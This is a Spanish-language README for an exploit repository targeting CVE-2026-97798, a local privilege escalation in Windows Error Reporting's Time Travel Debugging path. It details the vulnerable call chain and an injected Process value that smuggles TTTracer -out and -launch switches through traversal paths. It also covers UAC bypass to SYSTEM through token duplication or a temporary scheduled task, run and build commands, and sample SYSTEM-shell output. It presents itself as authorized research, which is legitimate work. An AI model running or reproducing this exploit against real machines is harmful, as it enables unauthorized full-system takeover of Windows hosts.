
CVE-2026-97798 Windows Error Reporting: inyección de comandos hasta SYSTEM
[!WARNING] Este repositorio es para investigación de vulnerabilidades autorizada y validación en laboratorio controlado. La prueba de concepto falla de forma segura cuando no puede identificar exactamente una implementación compatible de
faultrep.dll!SpawnDataCollector.
CVE-2026-97798 es una vulnerabilidad local de elevación de privilegios en la ruta de Time Travel Debugging de Windows Error Reporting (WER). Un llamador sin privilegios puede preservar sintaxis de línea de comandos controlada por el atacante a través del límite de privilegios de WER. El colector elevado posteriormente concatena esa entrada en una línea de comandos de TTTracer.exe sin preservar los límites de los argumentos. Los modificadores inyectados -out y -launch son por tanto interpretados por el grabador de TTD como opciones del grabador, permitiendo que un ejecutable elegido por el atacante se lance con el token elevado del colector.
La PoC incluida de un solo archivo convierte esa primitiva en un shell interactivo de NT AUTHORITY\SYSTEM. Ha sido validada tanto desde una cuenta de usuario estándar como desde una cuenta de administrador de integridad media filtrada por UAC.

| Ruta | Descripción |
|---|---|
src/CVE-2026-97798.cpp | Código fuente completo del exploit en una sola imagen |
bin/CVE-2026-97798.exe | Compilación de laboratorio x64 reproducible |
build.ps1 | Script de compilación determinista con LLVM-MinGW |
assets/system-shell.png | Prueba capturada de whoami desde la VM aislada |
Aún no se incluyen PDFs del informe; el documento extenso sigue en edición.
El flujo vulnerable atraviesa varios componentes:
low/medium-integrity process
-> faultrep.dll!CElevatedDataCollection::ControlTimeTravelDebugging
-> faultrep.dll!SpawnDataCollector
-> Windows Error Reporting service (elevated collector)
-> CDataCollection::ControlTimeTravelDebugging
-> TtdControl::LaunchRecordingProcess
-> TTTracer.exe / TTDRecord.dll command-line parser
-> attacker-controlled -launch target
La solicitud contiene un valor Process que comienza con un ejecutable legítimo pero añade modificadores TTD adicionales. La implementación vulnerable aplica una lista de bloqueo débil basada en nombres exactos y posteriormente formatea la cadena del proceso directamente en la línea de comandos privilegiada del grabador. Dado que el valor del proceso no se serializa como un único argumento, sus espacios se convierten en delimitadores de argumentos cuando TTTracer analiza el resultado.
Conceptualmente, la porción inyectada es:
Process=CVE-2026-97798-payload.exe
-out ..\..\Users\Public\Documents\CVE97798\trace
-launch ..\..\Users\Public\Documents\CVE97798\CVE-2026-97798-payload.exe
--payload;
Las rutas relativas son intencionales. WER también incorpora estos datos en un nombre de ruta .ttdconfig; un prefijo de unidad absoluto introduce dos puntos y falla con ERROR_INVALID_NAME. La ruta de estilo traversal evita ese conflicto del analizador mientras se normaliza al directorio público controlado.
Este es un problema de inyección de argumentos (CWE-88), no una inyección convencional de comandos de shell. No se requiere cmd.exe /c en el sink vulnerable: TTTracer mismo interpreta los switches inyectados.
El uso normal requiere solo CVE-2026-97798.exe. La misma imagen PE se reingresa a sí misma en varios modos internos:
faultrep.dll!SpawnDataCollector dinámicamente a partir de la función única que contiene el opcode del colector WER y las invariantes del protocolo. No se incrusta ningún RVA específico de compilación.cmd.exe real a través de named pipes, permitiendo que una consola visible de la sesión de usuario interactúe con un shell creado en la sesión 0.El artefacto distribuido sigue siendo un solo EXE. En tiempo de ejecución, prepara dos alias de esa misma imagen: uno para la consola integrada y otro para el payload elevado. El alias del payload también se usa como objetivo -onlaunch de TTTracer, de modo que el grabador observa el proceso que realmente lanza y sale cuando termina esa breve etapa de payload. El PoC restablece el estado TTD obsoleto antes de cada disparo y de nuevo tras un payload exitoso, evitando que una ejecución interrumpida haga fallar la siguiente ejecución con HRESULT 0x80070032.
Para un usuario estándar, la ruta del colector elevado llega directamente a SYSTEM. Para un administrador filtrado por UAC, WER primero lanza el payload con el token de administrador alto vinculado—el nombre de la cuenta permanece sin cambios, pero TokenIsElevated=true. El PoC luego reingresa la misma imagen como SYSTEM. Primero intenta la creación directa de procesos con token SYSTEM y usa una entrada de Task Scheduler de corta duración como alternativa; la tarea de respaldo se elimina inmediatamente después del lanzamiento.
| Componente | Valor validado |
|---|---|
| SO | Windows 11 24H2 x64, compilación 26100.9550 |
faultrep.dll vulnerable | 10.0.26100.9549 |
| Comparación corregida | faultrep.dll 10.0.26100.9711 |
| TTTracer / TTDRecord | 1.11.580.0 |
| Verificación del resolver dinámico | 9549: RVA 0x4CEB0; 9711: RVA 0x4E40C |
| SHA-256 del PoC | C7B8FAFB132D69E9BD5A398AE183107155129C7080A87D56EFE55572450B4147 |
El resolver recorre la tabla de excepciones x64 y requiere una función con la configuración de marco grande del colector, el opcode de solicitud 0xD0000002, el tamaño de mensaje 0x578, el tiempo de espera 10000 y sus tres asignaciones esperadas de errores de espera/servicio. Se verificó contra ambas compilaciones de faultrep.dll proporcionadas y se probó negativamente contra imágenes PE no relacionadas. No se almacena ningún número de compilación ni RVA. Si una compilación futura cambia esa implementación lo suficiente como para hacer que la coincidencia sea ambigua o incompleta, el PoC se detiene antes de realizar una llamada indirecta.
Use una instantánea desechable de la compilación vulnerable. Desde un PowerShell o símbolo del sistema no elevado:
.\bin\CVE-2026-97798.exe
Si tiene éxito, la consola integrada imprime:
[CVE-2026-97798] Exploit shell token:
nt authority\system
La prueba legible por máquina está escrita debajo:
C:\Users\Public\Documents\CVE97798\system-proof.txt
El resolver también se puede probar contra un DLL x64 sin conexión sin activar la vulnerabilidad:
.\bin\CVE-2026-97798.exe --resolve C:\path\to\faultrep.dll
Para verificar previamente el DLL del sistema instalado, también sin activar la ruta vulnerable:
.\bin\CVE-2026-97798.exe --preflight
Una validación exitosa de administrador filtrado produjo:
cve=CVE-2026-97798
user=NT AUTHORITY\SYSTEM
is_system=true
is_elevated=true
payload_session=0
shell_session=0
spawn_error=0
Instala una cadena de herramientas LLVM-MinGW x64 y coloca x86_64-w64-mingw32-clang++.exe en PATH, o pasa su ruta absoluta explícitamente:
.\build.ps1
# or
.\build.ps1 -Compiler C:\toolchains\llvm-mingw\bin\x86_64-w64-mingw32-clang++.exe